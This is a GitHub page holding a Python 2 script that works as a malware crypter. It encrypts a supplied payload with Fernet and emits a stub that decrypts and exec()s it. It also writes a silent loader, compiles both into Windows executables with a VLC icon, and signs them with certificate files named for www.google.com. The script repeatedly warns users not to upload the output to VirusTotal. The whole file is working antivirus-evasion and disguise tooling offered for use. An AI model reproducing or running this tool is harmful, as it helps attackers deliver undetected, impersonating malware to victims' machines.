-
Notifications
You must be signed in to change notification settings - Fork 11
/
impr_executable_fernet_obs.py
248 lines (214 loc) · 12.8 KB
/
impr_executable_fernet_obs.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
#!/usr/local/bin/python
# coding: latin-1
#@Author :#Captain_Nemo
from cryptography.fernet import Fernet
import os
import sys
import random
import time
import subprocess
import platform
import os.path
from os import path
os.system('clear')
class bcolors:
BLUE = '\033[94m'
GREEN = '\033[92m'
WARNING = '\033[93m'
WHITE = '\033[97m'
ERROR = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
#if sys.argv[0]:
# print bcolors.BOLD + bcolors.WHITE + "[+] You need to specify an input payload file to obfuscate"
# print bcolors.BOLD + bcolors.WHITE + "[+] Syntax : python fernet_obs.py payload.txt "
# sys.exit(0)
#else:
with open(sys.argv[1], 'r+') as f:
contents = f.read()
banner = '''
█████████████████████████████
█████████████████████████████
████ ▄▄▄▄▄ █ ▄ █ █ ▄▄▄▄▄ ████
████ █ █ █ ▀▀ ██ █ █ ████
████ █▄▄▄█ █▀▀█▀ █ █▄▄▄█ ████
████▄▄▄▄▄▄▄█▄▀ █▄█▄▄▄▄▄▄▄████
████▄ █▀▄ ▄██▄██▄██▄▀▄▄▄ ████
████▀▀▄▄▀ ▄▀▀ █▀█ █▀▀▀▀████
████████▄▄▄▄▀█▀█ ▄ ▀█ █████
████ ▄▄▄▄▄ █▀▄▄ █▀█▀ ▀█▄████
████ █ █ █▄█▀ ▄▀▄█▀▀▀ ▀████
████ █▄▄▄█ █▀▄█ ▄█ █▄▄▀█▀████
████▄▄▄▄▄▄▄█▄▄▄███▄██▄█▄▄████
█████████████████████████████
█████████████████████████████
'''
print banner.decode('utf-8')
print bcolors.BOLD + bcolors.WHITE + " [+] Author :#Captain_Nemo"
print bcolors.BOLD + bcolors.WHITE + " [+] HACK-ATHON BOOK OF WISDOM "
print bcolors.BOLD + bcolors.WHITE + " [+] YOUTUBE CHANNEL : https://www.youtube.com/channel/UCA1eZ38TvjtyhpLtcZ9UHEQ"
print bcolors.BOLD + bcolors.WHITE + " [+] FACEBOOK : https://www.facebook.com/Hack-Athon-BOOK-of-Wisdom-1258144607678680"
print bcolors.BOLD + bcolors.WHITE + " [+] TWITTER : https://twitter.com/AthonOf"
print bcolors.BOLD + bcolors.WHITE + " [+] GITHUB : https://github.com/1captainnemo1"
time.sleep(3)
print bcolors.BLUE + "[+] Raw payload"
print " ============================================================================================="
print contents
print " ============================================================================================="
print bcolors.ERROR + bcolors.BOLD + "[+] Generating Fernet MultiKey"
key = Fernet.generate_key()
print bcolors.BOLD + bcolors.WHITE + "[+] Key = " + key
print bcolors.WHITE + "[+] Please make note of the Key for decryption"
print bcolors.BOLD + "[+] Generating Fernet Object....please wait"
f = Fernet(key)
print bcolors.BOLD + bcolors.WHITE + "[+] Fernet Object Generated at :"
print f
print bcolors.ERROR + bcolors.BOLD + "[+] Encrypting Payload"
time.sleep(2)
print bcolors.BOLD + bcolors.WHITE + "================================================================================="
enc_payload = f.encrypt(contents)
print bcolors.BOLD + bcolors.WHITE + "[+] Encrypted Payload : " + enc_payload
print bcolors.BOLD + bcolors.WHITE + "================================================================================="
print bcolors.ERROR + bcolors.BOLD + "[+] Writing RAW payload to file, Please wait"
#filename1 = "payload"
Filename = "RawPayload%i"%random.randint(1,10000000001)+".txt"
#print Filename # bookmark
f1 = open("RawPayload%i"%random.randint(1,10000000001)+".txt", "a")
f1.write(enc_payload)
f1.close()
print bcolors.BOLD + bcolors.WHITE + "[+] Raw Encrypted Payload written to :" + f1.name
print bcolors.BLUE + bcolors.BOLD + "[+] Do You want to continue generating the Executable payload (Y/N)"
decision = str(raw_input("enter Y or N\n"))
if decision == 'N':
print bcolors.BOLD + bcolors.WHITE + "[+] Have a nice day !!"
print bcolors.BOLD + bcolors.WHITE + "[+] DO NOT UPLOAD TO VIRUSTOTAL !!!"
sys.exit(0)
elif decision == 'Y':
# Create final Obfuscated Executable Python payload
print bcolors.BOLD + bcolors.WHITE + "[+] Generating Final Obfuscated python Payload, Please wait"
time.sleep(2)
final_payload = open("FinalPayload%i"%random.randint(1,10000000001)+".py", "w")
#final_payload = open("FinalPayload.py", "w")
final_payload.write("""
from cryptography.fernet import Fernet
import os
import sys
key = """ + "\'"+key+"\'")
#final_payload = open("FinalPayload%i"%random.randint(1,10000000001)+".py", "a")
final_payload.write("""
f_obj= Fernet(key)
enc_pay =""" "\'"+enc_payload+"\'")
#final_payload = open("FinalPayload%i"%random.randint(1,10000000001)+".py", "a")
final_payload.write("""
exec(f_obj.decrypt(enc_pay))
""")
final_payload.close()
#Creating Silent Loader
load = open("loader.py","w")
load.write("""
import win32gui, win32con
import os
import subprocess
#subprocess.Popen(['out1signed.exe'])
subprocess.call("out1signed.exe", shell=True)
""")
load.close()
print bcolors.BOLD + bcolors.WHITE + "[+] Final Encrypted Payload written to %s : " + final_payload.name #"FinalPayload%i"%random.randint(1,10000000001)+".py"
time.sleep(3)
print bcolors.BOLD + bcolors.BLUE + "[+] Do you want to compile an executable (.exe) payload (Y/N) :"
decision1 = str(raw_input("Enter Y or N\n"))
if decision1 == 'N':
print bcolors.BOLD + bcolors.WHITE + " [+] Have a nice day !!"
print bcolors.BOLD + bcolors.WHITE + " [+] DO NOT UPLOAD TO VIRUSTOTAL !!!"
sys.exit(0)
elif decision1 == 'Y':
# Create EXE
print bcolors.BOLD + bcolors.WHITE + " [+] Checking Dependencies "
dep_apt = path.exists('/usr/bin/apt')
dep_arch = platform.architecture()[0]
dep_wine = path.exists('/usr/bin/wine')
dep_wine64 = path.exists('/usr/bin/wine64')
dep_win_python = path.exists('/root/.wine/drive_c/Python27/python.exe')
dep_win_pyinstaller = path.exists('/root/.wine/drive_c/Python27/Scripts/pyinstaller.exe')
dep_win_pywin32 = path.exists('/root/.wine/drive_c/Python27/Scripts/pywin32_postinstall.py')
dep_win_crypt = path.exists('/root/.wine/drive_c/Python27/Lib/site-packages/cryptography')
dep_win_Fernet = path.exists('/root/.wine/drive_c/Python27/Lib/site-packages/cryptography/fernet.pyc')
print bcolors.BOLD + bcolors.WHITE + " [+] OS Architecture : " + dep_arch
if dep_wine == True and (dep_arch == '32bit' or dep_arch =='64bits'):
print bcolors.BOLD + bcolors.WHITE + " [+] Wine Installed "
else:
print bcolors.BOLD + bcolors.WHITE + " [+] Updating Wine and osslsigncode for x86 Arch"
os.system('apt-get install wine -y')
os.system('apt-get install osslsigncode -y')
if dep_wine64 == True and dep_arch == '64bit':
print bcolors.BOLD + bcolors.WHITE + " [+] Wine64 Installed "
else:
print bcolors.BOLD + bcolors.WHITE + " [+] Installing Wine64 for x64 Arch"
os.system('apt-get install wine64 -y')
if dep_win_python == True:
print bcolors.BOLD + bcolors.WHITE + " [+] Python for Windows Subsystem Installed"
else:
print bcolors.BOLD + bcolors.WHITE + " [+] Installing Python for Windows Subsystem"
os.system('wine msiexec /i python-2.7.16.msi')
if dep_win_pyinstaller == True:
print bcolors.BOLD + bcolors.WHITE + " [+] Pyinstaller For Windows Installed"
else:
print bcolors.BOLD + bcolors.WHITE + " [+] Installing Pyinstaller For Windows"
os.system('wine /root/.wine/drive_c/Python27/python.exe -m pip install pyinstaller')
if dep_win_pywin32 == True:
print bcolors.BOLD + bcolors.WHITE + " [+] Pywin32 Already Installed"
else:
print bcolors.BOLD + bcolors.WHITE + " [+] Installing Pywin32 "
os.system('wine /root/.wine/drive_c/Python27/python.exe -m pip install pywin32-225-cp27-cp27m-win32.whl')
os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pywin32_postinstall.py -install')
if dep_win_crypt == True:
print bcolors.BOLD + bcolors.WHITE + " [+] Windows Python Cryptography Library Present"
else:
print bcolors.BOLD + bcolors.WHITE + " [+] Installing Cryptography"
os.system('wine /root/.wine/drive_c/Python27/python.exe -m pip install cryptography')
if dep_win_Fernet == True:
print bcolors.BOLD + bcolors.WHITE + " [+] Windows Python Fernet Library Present"
else:
print bcolors.BOLD + bcolors.WHITE + " [+] Installing Fernet"
os.system('wine /root/.wine/drive_c/Python27/python.exe -m pip install Fernet')
print bcolors.BOLD + bcolors.WHITE + " [+] Dependency Check Complete , Initiating Compilation, Please Wait"
print bcolors.BOLD + bcolors.BLUE + " [+] Enter The Filename of The Final generated Payload (Ex:FinalPayload54321.py :"
file_name = str(raw_input("enter Filename :"))
#print file_name.name
fileobj = open(file_name,"r")
print fileobj.name
with open("out1.py","w") as p1:
for line in fileobj:
p1.write(line)
#p1.close()
os.system('wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe -F --icon=vlc.ico --hidden-import "cryptography.*" --hidden-import Fernet --hidden-import os --hidden-import sys --hidden-import time --hidden-import cryptography --hidden-import code --hidden-import shutil --runtime-hook script.py out1.py')
#CREATE_NO_WINDOW = 0x08000000
#subprocess.call('wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe -F --noconsole --hidden-import "cryptography.*" --hidden-import Fernet --hidden-import os --hidden-import sys --hidden-import time --hidden-import cryptography --hidden-import code --hidden-import shutil --runtime-hook script.py out1.py', shell=False)
print bcolors.BOLD + bcolors.WHITE + "[+] Compilation Of main Payload Success............"
print bcolors.BOLD + bcolors.WHITE + "[+] Compiling Loader , Please wait................."
time.sleep(1)
os.system('wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe -F --icon=vlc.ico --noconsole --hidden-import os --hidden-import sys --hidden-import time --hidden-import cryptography --hidden-import code --hidden-import shutil --hidden-import win32con --hidden-import win32gui --runtime-hook Loader_script.py loader.py')
print bcolors.BOLD + bcolors.WHITE + "[+] Performing Cleanup Job, Please wait"
os.system('rm out1.py out1.spec loader.spec loader.py')
time.sleep(1)
print bcolors.BOLD + bcolors.ERROR + "[+] Signing Apps with SHA256 certificate......Please Wait"
time.sleep(1)
os.system('osslsigncode sign -certs www.google.com.crt -key www.google.com.key -t http://timestamp.globalsign.com/scripts/timestamp.dll -in ./dist/out1.exe -out ./dist/out1signed.exe')
os.system('osslsigncode sign -certs www.google.com.crt -key www.google.com.key -t http://timestamp.globalsign.com/scripts/timestamp.dll -in ./dist/loader.exe -out ./dist/loadersigned.exe')
print bcolors.BOLD + bcolors.ERROR + "[+] Executables signed Successfully"
print bcolors.BOLD + bcolors.WHITE + "[+] Executable and Loader Located in the /dist Subfolder"
print bcolors.BOLD + bcolors.ERROR + "[+] Please use the out1signed.exe and loadersigned.exe in the /dist Subfolder"
#print bcolors.BOLD + bcolors.WHITE + "[+] Was the raw Payload provided, a MSF payload ? (Y/N)"
print bcolors.BLUE + bcolors.BOLD + "[+] HACK THE MULTIVERSE "
decr = 5
while True:
print bcolors.ERROR + bcolors.BOLD + "[+] DO NOT UPLOAD TO VIRUSTOTAL"
decr = decr-1
if(decr <=0):
break
sys.exit(0)
else:
sys.exit(0)
print bcolors.ERROR + bcolors.BOLD + "[+] Respond in Y or N ONLY"
sys.exit(0)